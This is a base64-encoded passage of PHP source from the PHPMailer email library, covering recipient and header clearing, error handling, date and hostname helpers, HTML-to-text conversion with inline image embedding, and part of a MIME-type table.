2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhclJlcGx5VG9zKCkKICAgIHsKICAgICAgICAkdGhpcy0+UmVwbHlUbyA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPlJlcGx5VG9RdWV1ZSA9IGFycmF5KCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBDbGVhciBhbGwgcmVjaXBpZW50IHR5cGVzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckFsbFJlY2lwaWVudHMoKQogICAgewogICAgICAgICR0aGlzLT50byA9IGFycmF5KCk7CiAgICAgICAgJHRoaXMtPmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YmNjID0gYXJyYXkoKTsKICAgICAgICAkdGhpcy0+YWxsX3JlY2lwaWVudHMgPSBhcnJheSgpOwogICAgICAgICR0aGlzLT5SZWNpcGllbnRzUXVldWUgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGZpbGVzeXN0ZW0sIHN0cmluZywgYW5kIGJpbmFyeSBhdHRhY2htZW50cy4KICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gY2xlYXJBdHRhY2htZW50cygpCiAgICB7CiAgICAgICAgJHRoaXMtPmF0dGFjaG1lbnQgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQ2xlYXIgYWxsIGN1c3RvbSBoZWFkZXJzLgogICAgICogQHJldHVybiB2b2lkCiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBjbGVhckN1c3RvbUhlYWRlcnMoKQogICAgewogICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXIgPSBhcnJheSgpOwogICAgfQoKICAgIC8qKgogICAgICogQWRkIGFuIGVycm9yIG1lc3NhZ2UgdG8gdGhlIGVycm9yIGNvbnRhaW5lci4KICAgICAqIEBhY2Nlc3MgcHJvdGVjdGVkCiAgICAgKiBAcGFyYW0gc3RyaW5nICRtc2cKICAgICAqIEByZXR1cm4gdm9pZAogICAgICovCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2V0RXJyb3IoJG1zZykKICAgIHsKICAgICAgICAkdGhpcy0+ZXJyb3JfY291bnQrKzsKICAgICAgICBpZiAoJHRoaXMtPk1haWxlciA9PSAnc210cCcgYW5kICFpc19udWxsKCR0aGlzLT5zbXRwKSkgewogICAgICAgICAgICAkbGFzdGVycm9yID0gJHRoaXMtPnNtdHAtPmdldEVycm9yKCk7CiAgICAgICAgICAgIGlmICghZW1wdHkoJGxhc3RlcnJvclsnZXJyb3InXSkpIHsKICAgICAgICAgICAgICAgICRtc2cgLj0gJHRoaXMtPmxhbmcoJ3NtdHBfZXJyb3InKSAuICRsYXN0ZXJyb3JbJ2Vycm9yJ107CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ2RldGFpbCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBEZXRhaWw6ICcuICRsYXN0ZXJyb3JbJ2RldGFpbCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkbGFzdGVycm9yWydzbXRwX2NvZGUnXSkpIHsKICAgICAgICAgICAgICAgICAgICAkbXNnIC49ICcgU01UUCBjb2RlOiAnIC4gJGxhc3RlcnJvclsnc210cF9jb2RlJ107CiAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICBpZiAoIWVtcHR5KCRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddKSkgewogICAgICAgICAgICAgICAgICAgICRtc2cgLj0gJyBBZGRpdGlvbmFsIFNNVFAgaW5mbzogJyAuICRsYXN0ZXJyb3JbJ3NtdHBfY29kZV9leCddOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICR0aGlzLT5FcnJvckluZm8gPSAkbXNnOwogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJuIGFuIFJGQyA4MjIgZm9ybWF0dGVkIGRhdGUuCiAgICAgKiBAYWNjZXNzIHB1YmxpYwogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqIEBzdGF0aWMKICAgICAqLwogICAgcHVibGljIHN0YXRpYyBmdW5jdGlvbiByZmNEYXRlKCkKICAgIHsKICAgICAgICAvLyBTZXQgdGhlIHRpbWUgem9uZSB0byB3aGF0ZXZlciB0aGUgZGVmYXVsdCBpcyB0byBhdm9pZCA1MDAgZXJyb3JzCiAgICAgICAgLy8gV2lsbCBkZWZhdWx0IHRvIFVUQyBpZiBpdCdzIG5vdCBzZXQgcHJvcGVybHkgaW4gcGhwLmluaQogICAgICAgIGRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoQGRhdGVfZGVmYXVsdF90aW1lem9uZV9nZXQoKSk7CiAgICAgICAgcmV0dXJuIGRhdGUoJ0QsIGogTSBZIEg6aTpzIE8nKTsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCB0aGUgc2VydmVyIGhvc3RuYW1lLgogICAgICogUmV0dXJucyAnbG9jYWxob3N0LmxvY2FsZG9tYWluJyBpZiB1bmtub3duLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEByZXR1cm4gc3RyaW5nCiAgICAgKi8KICAgIHByb3RlY3RlZCBmdW5jdGlvbiBzZXJ2ZXJIb3N0bmFtZSgpCiAgICB7CiAgICAgICAgJHJlc3VsdCA9ICdsb2NhbGhvc3QubG9jYWxkb21haW4nOwogICAgICAgIGlmICghZW1wdHkoJHRoaXMtPkhvc3RuYW1lKSkgewogICAgICAgICAgICAkcmVzdWx0ID0gJHRoaXMtPkhvc3RuYW1lOwogICAgICAgIH0gZWxzZWlmIChpc3NldCgkX1NFUlZFUikgYW5kIGFycmF5X2tleV9leGlzdHMoJ1NFUlZFUl9OQU1FJywgJF9TRVJWRVIpIGFuZCAhZW1wdHkoJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ10pKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSAkX1NFUlZFUlsnU0VSVkVSX05BTUUnXTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCdnZXRob3N0bmFtZScpICYmIGdldGhvc3RuYW1lKCkgIT09IGZhbHNlKSB7CiAgICAgICAgICAgICRyZXN1bHQgPSBnZXRob3N0bmFtZSgpOwogICAgICAgIH0gZWxzZWlmIChwaHBfdW5hbWUoJ24nKSAhPT0gZmFsc2UpIHsKICAgICAgICAgICAgJHJlc3VsdCA9IHBocF91bmFtZSgnbicpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gJHJlc3VsdDsKICAgIH0KCiAgICAvKioKICAgICAqIEdldCBhbiBlcnJvciBtZXNzYWdlIGluIHRoZSBjdXJyZW50IGxhbmd1YWdlLgogICAgICogQGFjY2VzcyBwcm90ZWN0ZWQKICAgICAqIEBwYXJhbSBzdHJpbmcgJGtleQogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGxhbmcoJGtleSkKICAgIHsKICAgICAgICBpZiAoY291bnQoJHRoaXMtPmxhbmd1YWdlKSA8IDEpIHsKICAgICAgICAgICAgJHRoaXMtPnNldExhbmd1YWdlKCdlbicpOyAvLyBzZXQgdGhlIGRlZmF1bHQgbGFuZ3VhZ2UKICAgICAgICB9CgogICAgICAgIGlmIChhcnJheV9rZXlfZXhpc3RzKCRrZXksICR0aGlzLT5sYW5ndWFnZSkpIHsKICAgICAgICAgICAgaWYgKCRrZXkgPT0gJ3NtdHBfY29ubmVjdF9mYWlsZWQnKSB7CiAgICAgICAgICAgICAgICAvL0luY2x1ZGUgYSBsaW5rIHRvIHRyb3VibGVzaG9vdGluZyBkb2NzIG9uIFNNVFAgY29ubmVjdGlvbiBmYWlsdXJlCiAgICAgICAgICAgICAgICAvL3RoaXMgaXMgYnkgZmFyIHRoZSBiaWdnZXN0IGNhdXNlIG9mIHN1cHBvcnQgcXVlc3Rpb25zCiAgICAgICAgICAgICAgICAvL2J1dCBpdCdzIHVzdWFsbHkgbm90IFBIUE1haWxlcidzIGZhdWx0LgogICAgICAgICAgICAgICAgcmV0dXJuICR0aGlzLT5sYW5ndWFnZVska2V5XSAuICcgaHR0cHM6Ly9naXRodWIuY29tL1BIUE1haWxlci9QSFBNYWlsZXIvd2lraS9Ucm91Ymxlc2hvb3RpbmcnOwogICAgICAgICAgICB9CiAgICAgICAgICAgIHJldHVybiAkdGhpcy0+bGFuZ3VhZ2VbJGtleV07CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgLy9SZXR1cm4gdGhlIGtleSBhcyBhIGZhbGxiYWNrCiAgICAgICAgICAgIHJldHVybiAka2V5OwogICAgICAgIH0KICAgIH0KCiAgICAvKioKICAgICAqIENoZWNrIGlmIGFuIGVycm9yIG9jY3VycmVkLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gYm9vbGVhbiBUcnVlIGlmIGFuIGVycm9yIGRpZCBvY2N1ci4KICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGlzRXJyb3IoKQogICAgewogICAgICAgIHJldHVybiAoJHRoaXMtPmVycm9yX2NvdW50ID4gMCk7CiAgICB9CgogICAgLyoqCiAgICAgKiBFbnN1cmUgY29uc2lzdGVudCBsaW5lIGVuZGluZ3MgaW4gYSBzdHJpbmcuCiAgICAgKiBDaGFuZ2VzIGV2ZXJ5IGVuZCBvZiBsaW5lIGZyb20gQ1JMRiwgQ1Igb3IgTEYgdG8gJHRoaXMtPkxFLgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJHN0ciBTdHJpbmcgdG8gZml4RU9MCiAgICAgKiBAcmV0dXJuIHN0cmluZwogICAgICovCiAgICBwdWJsaWMgZnVuY3Rpb24gZml4RU9MKCRzdHIpCiAgICB7CiAgICAgICAgLy8gTm9ybWFsaXNlIHRvIFxuCiAgICAgICAgJG5zdHIgPSBzdHJfcmVwbGFjZShhcnJheSgiXHJcbiIsICJcciIpLCAiXG4iLCAkc3RyKTsKICAgICAgICAvLyBOb3cgY29udmVydCBMRSBhcyBuZWVkZWQKICAgICAgICBpZiAoJHRoaXMtPkxFICE9PSAiXG4iKSB7CiAgICAgICAgICAgICRuc3RyID0gc3RyX3JlcGxhY2UoIlxuIiwgJHRoaXMtPkxFLCAkbnN0cik7CiAgICAgICAgfQogICAgICAgIHJldHVybiAkbnN0cjsKICAgIH0KCiAgICAvKioKICAgICAqIEFkZCBhIGN1c3RvbSBoZWFkZXIuCiAgICAgKiAkbmFtZSB2YWx1ZSBjYW4gYmUgb3ZlcmxvYWRlZCB0byBjb250YWluCiAgICAgKiBib3RoIGhlYWRlciBuYW1lIGFuZCB2YWx1ZSAobmFtZTp2YWx1ZSkKICAgICAqIEBhY2Nlc3MgcHVibGljCiAgICAgKiBAcGFyYW0gc3RyaW5nICRuYW1lIEN1c3RvbSBoZWFkZXIgbmFtZQogICAgICogQHBhcmFtIHN0cmluZyAkdmFsdWUgSGVhZGVyIHZhbHVlCiAgICAgKiBAcmV0dXJuIHZvaWQKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGFkZEN1c3RvbUhlYWRlcigkbmFtZSwgJHZhbHVlID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoJHZhbHVlID09PSBudWxsKSB7CiAgICAgICAgICAgIC8vIFZhbHVlIHBhc3NlZCBpbiBhcyBuYW1lOnZhbHVlCiAgICAgICAgICAgICR0aGlzLT5DdXN0b21IZWFkZXJbXSA9IGV4cGxvZGUoJzonLCAkbmFtZSwgMik7CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHRoaXMtPkN1c3RvbUhlYWRlcltdID0gYXJyYXkoJG5hbWUsICR2YWx1ZSk7CiAgICAgICAgfQogICAgfQoKICAgIC8qKgogICAgICogUmV0dXJucyBhbGwgY3VzdG9tIGhlYWRlcnMuCiAgICAgKiBAcmV0dXJuIGFycmF5CiAgICAgKi8KICAgIHB1YmxpYyBmdW5jdGlvbiBnZXRDdXN0b21IZWFkZXJzKCkKICAgIHsKICAgICAgICByZXR1cm4gJHRoaXMtPkN1c3RvbUhlYWRlcjsKICAgIH0KCiAgICAvKioKICAgICAqIENyZWF0ZSBhIG1lc3NhZ2UgYm9keSBmcm9tIGFuIEhUTUwgc3RyaW5nLgogICAgICogQXV0b21hdGljYWxseSBpbmxpbmVzIGltYWdlcyBhbmQgY3JlYXRlcyBhIHBsYWluLXRleHQgdmVyc2lvbiBieSBjb252ZXJ0aW5nIHRoZSBIVE1MLAogICAgICogb3ZlcndyaXRpbmcgYW55IGV4aXN0aW5nIHZhbHVlcyBpbiBCb2R5IGFuZCBBbHRCb2R5LgogICAgICogRG8gbm90IHNvdXJjZSAkbWVzc2FnZSBjb250ZW50IGZyb20gdXNlciBpbnB1dCEKICAgICAqICRiYXNlZGlyIGlzIHByZXBlbmRlZCB3aGVuIGhhbmRsaW5nIHJlbGF0aXZlIFVSTHMsIGUuZy4gPGltZyBzcmM9Ii9pbWFnZXMvYS5wbmciPiBhbmQgbXVzdCBub3QgYmUgZW1wdHkKICAgICAqIHdpbGwgbG9vayBmb3IgYW4gaW1hZ2UgZmlsZSBpbiAkYmFzZWRpci9pbWFnZXMvYS5wbmcgYW5kIGNvbnZlcnQgaXQgdG8gaW5saW5lLgogICAgICogSWYgeW91IGRvbid0IHByb3ZpZGUgYSAkYmFzZWRpciwgcmVsYXRpdmUgcGF0aHMgd2lsbCBiZSBsZWZ0IHVudG91Y2hlZCAoYW5kIHRodXMgcHJvYmFibHkgYnJlYWsgaW4gZW1haWwpCiAgICAgKiBJZiB5b3UgZG9uJ3Qgd2FudCB0byBhcHBseSB0aGVzZSB0cmFuc2Zvcm1hdGlvbnMgdG8geW91ciBIVE1MLCBqdXN0IHNldCBCb2R5IGFuZCBBbHRCb2R5IGRpcmVjdGx5LgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEBwYXJhbSBzdHJpbmcgJG1lc3NhZ2UgSFRNTCBtZXNzYWdlIHN0cmluZwogICAgICogQHBhcmFtIHN0cmluZyAkYmFzZWRpciBBYnNvbHV0ZSBwYXRoIHRvIGEgYmFzZSBkaXJlY3RvcnkgdG8gcHJlcGVuZCB0byByZWxhdGl2ZSBwYXRocyB0byBpbWFnZXMKICAgICAqIEBwYXJhbSBib29sZWFufGNhbGxhYmxlICRhZHZhbmNlZCBXaGV0aGVyIHRvIHVzZSB0aGUgaW50ZXJuYWwgSFRNTCB0byB0ZXh0IGNvbnZlcnRlcgogICAgICogICAgb3IgeW91ciBvd24gY3VzdG9tIGNvbnZlcnRlciBAc2VlIFBIUE1haWxlcjo6aHRtbDJ0ZXh0KCkKICAgICAqIEByZXR1cm4gc3RyaW5nICRtZXNzYWdlIFRoZSB0cmFuc2Zvcm1lZCBtZXNzYWdlIEJvZHkKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIG1zZ0hUTUwoJG1lc3NhZ2UsICRiYXNlZGlyID0gJycsICRhZHZhbmNlZCA9IGZhbHNlKQogICAgewogICAgICAgIHByZWdfbWF0Y2hfYWxsKCcvKHNyY3xiYWNrZ3JvdW5kKT1bIlwnXSguKilbIlwnXS9VaScsICRtZXNzYWdlLCAkaW1hZ2VzKTsKICAgICAgICBpZiAoYXJyYXlfa2V5X2V4aXN0cygyLCAkaW1hZ2VzKSkgewogICAgICAgICAgICBpZiAoc3RybGVuKCRiYXNlZGlyKSA+IDEgJiYgc3Vic3RyKCRiYXNlZGlyLCAtMSkgIT0gJy8nKSB7CiAgICAgICAgICAgICAgICAvLyBFbnN1cmUgJGJhc2VkaXIgaGFzIGEgdHJhaWxpbmcgLwogICAgICAgICAgICAgICAgJGJhc2VkaXIgLj0gJy8nOwogICAgICAgICAgICB9CiAgICAgICAgICAgIGZvcmVhY2ggKCRpbWFnZXNbMl0gYXMgJGltZ2luZGV4ID0+ICR1cmwpIHsKICAgICAgICAgICAgICAgIC8vIENvbnZlcnQgZGF0YSBVUklzIGludG8gZW1iZWRkZWQgaW1hZ2VzCiAgICAgICAgICAgICAgICBpZiAocHJlZ19tYXRjaCgnI15kYXRhOihpbWFnZVteOyxdKikoO2Jhc2U2NCk\/LCMnLCAkdXJsLCAkbWF0Y2gpKSB7CiAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBzdWJzdHIoJHVybCwgc3RycG9zKCR1cmwsICcsJykpOwogICAgICAgICAgICAgICAgICAgIGlmICgkbWF0Y2hbMl0pIHsKICAgICAgICAgICAgICAgICAgICAgICAgJGRhdGEgPSBiYXNlNjRfZGVjb2RlKCRkYXRhKTsKICAgICAgICAgICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgICAgICAgICAkZGF0YSA9IHJhd3VybGRlY29kZSgkZGF0YSk7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoJHRoaXMtPmFkZFN0cmluZ0VtYmVkZGVkSW1hZ2UoJGRhdGEsICRjaWQsICdlbWJlZCcgLiAkaW1naW5kZXgsICdiYXNlNjQnLCAkbWF0Y2hbMV0pKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRtZXNzYWdlID0gc3RyX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzBdWyRpbWdpbmRleF0sCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgICAgICBjb250aW51ZTsKICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIGlmICgKICAgICAgICAgICAgICAgICAgICAvLyBPbmx5IHByb2Nlc3MgcmVsYXRpdmUgVVJMcyBpZiBhIGJhc2VkaXIgaXMgcHJvdmlkZWQgKGkuZS4gbm8gYWJzb2x1dGUgbG9jYWwgcGF0aHMpCiAgICAgICAgICAgICAgICAgICAgIWVtcHR5KCRiYXNlZGlyKQogICAgICAgICAgICAgICAgICAgIC8vIElnbm9yZSBVUkxzIGNvbnRhaW5pbmcgcGFyZW50IGRpciB0cmF2ZXJzYWwgKC4uKQogICAgICAgICAgICAgICAgICAgICYmIChzdHJwb3MoJHVybCwgJy4uJykgPT09IGZhbHNlKQogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgdXJscyB0aGF0IGFyZSBhbHJlYWR5IGlubGluZSBpbWFnZXMKICAgICAgICAgICAgICAgICAgICAmJiBzdWJzdHIoJHVybCwgMCwgNCkgIT09ICdjaWQ6JwogICAgICAgICAgICAgICAgICAgIC8vIERvIG5vdCBjaGFuZ2UgYWJzb2x1dGUgVVJMcywgaW5jbHVkaW5nIGFub255bW91cyBwcm90b2NvbAogICAgICAgICAgICAgICAgICAgICYmICFwcmVnX21hdGNoKCcjXlthLXpdW2EtejAtOSsuLV0qOj8vLyNpJywgJHVybCkKICAgICAgICAgICAgICAgICkgewogICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSA9IGJhc2VuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgICRkaXJlY3RvcnkgPSBkaXJuYW1lKCR1cmwpOwogICAgICAgICAgICAgICAgICAgIGlmICgkZGlyZWN0b3J5ID09ICcuJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5ID0gJyc7CiAgICAgICAgICAgICAgICAgICAgfQogICAgICAgICAgICAgICAgICAgICRjaWQgPSBtZDUoJHVybCkgLiAnQHBocG1haWxlci4wJzsgLy8gUkZDMjM5MiBTIDIKICAgICAgICAgICAgICAgICAgICBpZiAoc3RybGVuKCRkaXJlY3RvcnkpID4gMSAmJiBzdWJzdHIoJGRpcmVjdG9yeSwgLTEpICE9ICcvJykgewogICAgICAgICAgICAgICAgICAgICAgICAkZGlyZWN0b3J5IC49ICcvJzsKICAgICAgICAgICAgICAgICAgICB9CiAgICAgICAgICAgICAgICAgICAgaWYgKCR0aGlzLT5hZGRFbWJlZGRlZEltYWdlKAogICAgICAgICAgICAgICAgICAgICAgICAkYmFzZWRpciAuICRkaXJlY3RvcnkgLiAkZmlsZW5hbWUsCiAgICAgICAgICAgICAgICAgICAgICAgICRjaWQsCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlbmFtZSwKICAgICAgICAgICAgICAgICAgICAgICAgJ2Jhc2U2NCcsCiAgICAgICAgICAgICAgICAgICAgICAgIHNlbGY6Ol9taW1lX3R5cGVzKChzdHJpbmcpc2VsZjo6bWJfcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pKQogICAgICAgICAgICAgICAgICAgICkKICAgICAgICAgICAgICAgICAgICApIHsKICAgICAgICAgICAgICAgICAgICAgICAgJG1lc3NhZ2UgPSBwcmVnX3JlcGxhY2UoCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAnLycgLiAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPVsiXCddJyAuIHByZWdfcXVvdGUoJHVybCwgJy8nKSAuICdbIlwnXS9VaScsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkaW1hZ2VzWzFdWyRpbWdpbmRleF0gLiAnPSJjaWQ6JyAuICRjaWQgLiAnIicsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkbWVzc2FnZQogICAgICAgICAgICAgICAgICAgICAgICApOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgICAgICAkdGhpcy0+aXNIVE1MKHRydWUpOwogICAgICAgIC8vIENvbnZlcnQgYWxsIG1lc3NhZ2UgYm9keSBsaW5lIGJyZWFrcyB0byBDUkxGLCBtYWtlcyBxdW90ZWQtcHJpbnRhYmxlIGVuY29kaW5nIHdvcmsgbXVjaCBiZXR0ZXIKICAgICAgICAkdGhpcy0+Qm9keSA9ICR0aGlzLT5ub3JtYWxpemVCcmVha3MoJG1lc3NhZ2UpOwogICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJHRoaXMtPm5vcm1hbGl6ZUJyZWFrcygkdGhpcy0+aHRtbDJ0ZXh0KCRtZXNzYWdlLCAkYWR2YW5jZWQpKTsKICAgICAgICBpZiAoISR0aGlzLT5hbHRlcm5hdGl2ZUV4aXN0cygpKSB7CiAgICAgICAgICAgICR0aGlzLT5BbHRCb2R5ID0gJ1RvIHZpZXcgdGhpcyBlbWFpbCBtZXNzYWdlLCBvcGVuIGl0IGluIGEgcHJvZ3JhbSB0aGF0IHVuZGVyc3RhbmRzIEhUTUwhJyAuCiAgICAgICAgICAgICAgICBzZWxmOjpDUkxGIC4gc2VsZjo6Q1JMRjsKICAgICAgICB9CiAgICAgICAgcmV0dXJuICR0aGlzLT5Cb2R5OwogICAgfQoKICAgIC8qKgogICAgICogQ29udmVydCBhbiBIVE1MIHN0cmluZyBpbnRvIHBsYWluIHRleHQuCiAgICAgKiBUaGlzIGlzIHVzZWQgYnkgbXNnSFRNTCgpLgogICAgICogTm90ZSAtIG9sZGVyIHZlcnNpb25zIG9mIHRoaXMgZnVuY3Rpb24gdXNlZCBhIGJ1bmRsZWQgYWR2YW5jZWQgY29udmVydGVyCiAgICAgKiB3aGljaCB3YXMgYmVlbiByZW1vdmVkIGZvciBsaWNlbnNlIHJlYXNvbnMgaW4gIzIzMi4KICAgICAqIEV4YW1wbGUgdXNhZ2U6CiAgICAgKiA8Y29kZT4KICAgICAqIC8vIFVzZSBkZWZhdWx0IGNvbnZlcnNpb24KICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwpOwogICAgICogLy8gVXNlIHlvdXIgb3duIGN1c3RvbSBjb252ZXJ0ZXIKICAgICAqICRwbGFpbiA9ICRtYWlsLT5odG1sMnRleHQoJGh0bWwsIGZ1bmN0aW9uKCRodG1sKSB7CiAgICAgKiAgICAgJGNvbnZlcnRlciA9IG5ldyBNeUh0bWwydGV4dCgkaHRtbCk7CiAgICAgKiAgICAgcmV0dXJuICRjb252ZXJ0ZXItPmdldF90ZXh0KCk7CiAgICAgKiB9KTsKICAgICAqIDwvY29kZT4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGh0bWwgVGhlIEhUTUwgdGV4dCB0byBjb252ZXJ0CiAgICAgKiBAcGFyYW0gYm9vbGVhbnxjYWxsYWJsZSAkYWR2YW5jZWQgQW55IGJvb2xlYW4gdmFsdWUgdG8gdXNlIHRoZSBpbnRlcm5hbCBjb252ZXJ0ZXIsCiAgICAgKiAgIG9yIHByb3ZpZGUgeW91ciBvd24gY2FsbGFibGUgZm9yIGN1c3RvbSBjb252ZXJzaW9uLgogICAgICogQHJldHVybiBzdHJpbmcKICAgICAqLwogICAgcHVibGljIGZ1bmN0aW9uIGh0bWwydGV4dCgkaHRtbCwgJGFkdmFuY2VkID0gZmFsc2UpCiAgICB7CiAgICAgICAgaWYgKGlzX2NhbGxhYmxlKCRhZHZhbmNlZCkpIHsKICAgICAgICAgICAgcmV0dXJuIGNhbGxfdXNlcl9mdW5jKCRhZHZhbmNlZCwgJGh0bWwpOwogICAgICAgIH0KICAgICAgICByZXR1cm4gaHRtbF9lbnRpdHlfZGVjb2RlKAogICAgICAgICAgICB0cmltKHN0cmlwX3RhZ3MocHJlZ19yZXBsYWNlKCcvPChoZWFkfHRpdGxlfHN0eWxlfHNjcmlwdClbXj5dKj4uKj88XC9cXDE+L3NpJywgJycsICRodG1sKSkpLAogICAgICAgICAgICBFTlRfUVVPVEVTLAogICAgICAgICAgICAkdGhpcy0+Q2hhclNldAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBHZXQgdGhlIE1JTUUgdHlwZSBmb3IgYSBmaWxlIGV4dGVuc2lvbi4KICAgICAqIEBwYXJhbSBzdHJpbmcgJGV4dCBGaWxlIGV4dGVuc2lvbgogICAgICogQGFjY2VzcyBwdWJsaWMKICAgICAqIEByZXR1cm4gc3RyaW5nIE1JTUUgdHlwZSBvZiBmaWxlLgogICAgICogQHN0YXRpYwogICAgICovCiAgICBwdWJsaWMgc3RhdGljIGZ1bmN0aW9uIF9taW1lX3R5cGVzKCRleHQgPSAnJykKICAgIHsKICAgICAgICAkbWltZXMgPSBhcnJheSgKICAgICAgICAgICAgJ3hsJyAgICA9PiAnYXBwbGljYXRpb24vZXhjZWwnLAogICAgICAgICAgICAnanMnICAgID0+ICdhcHBsaWNhdGlvbi9qYXZhc2NyaXB0JywKICAgICAgICAgICAgJ2hxeCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWJpbmhleDQwJywKICAgICAgICAgICAgJ2NwdCcgICA9PiAnYXBwbGljYXRpb24vbWFjLWNvbXBhY3Rwcm8nLAogICAgICAgICAgICAnYmluJyAgID0+ICdhcHBsaWNhdGlvbi9tYWNiaW5hcnknLAogICAgICAgICAgICAnZG9jJyAgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAnd29yZCcgID0+ICdhcHBsaWNhdGlvbi9tc3dvcmQnLAogICAgICAgICAgICAneGxzeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQuc3ByZWFkc2hlZXRtbC5zaGVldCcsCiAgICAgICAgICAgICd4bHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5zcHJlYWRzaGVldG1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3BvdHgnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3Bwc3gnICA9PiAnYXBwbGljYXRpb24vdm5kLm9wZW54bWxmb3JtYXRzLW9mZmljZWRvY3VtZW50LnByZXNlbnRhdGlvbm1sLnNsaWRlc2hvdycsCiAgICAgICAgICAgICdwcHR4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC5wcmVzZW50YXRpb25tbC5wcmVzZW50YXRpb24nLAogICAgICAgICAgICAnc2xkeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQucHJlc2VudGF0aW9ubWwuc2xpZGUnLAogICAgICAgICAgICAnZG9jeCcgID0+ICdhcHBsaWNhdGlvbi92bmQub3BlbnhtbGZvcm1hdHMtb2ZmaWNlZG9jdW1lbnQud29yZHByb2Nlc3NpbmdtbC5kb2N1bWVudCcsCiAgICAgICAgICAgICdkb3R4JyAgPT4gJ2FwcGxpY2F0aW9uL3ZuZC5vcGVueG1sZm9ybWF0cy1vZmZpY2Vkb2N1bWVudC53b3JkcHJvY2Vzc2luZ21sLnRlbXBsYXRlJywKICAgICAgICAgICAgJ3hsYW0nICA9PiAnYXBwbGljYXRpb24vdm5kLm1zLWV4Y2VsLmFk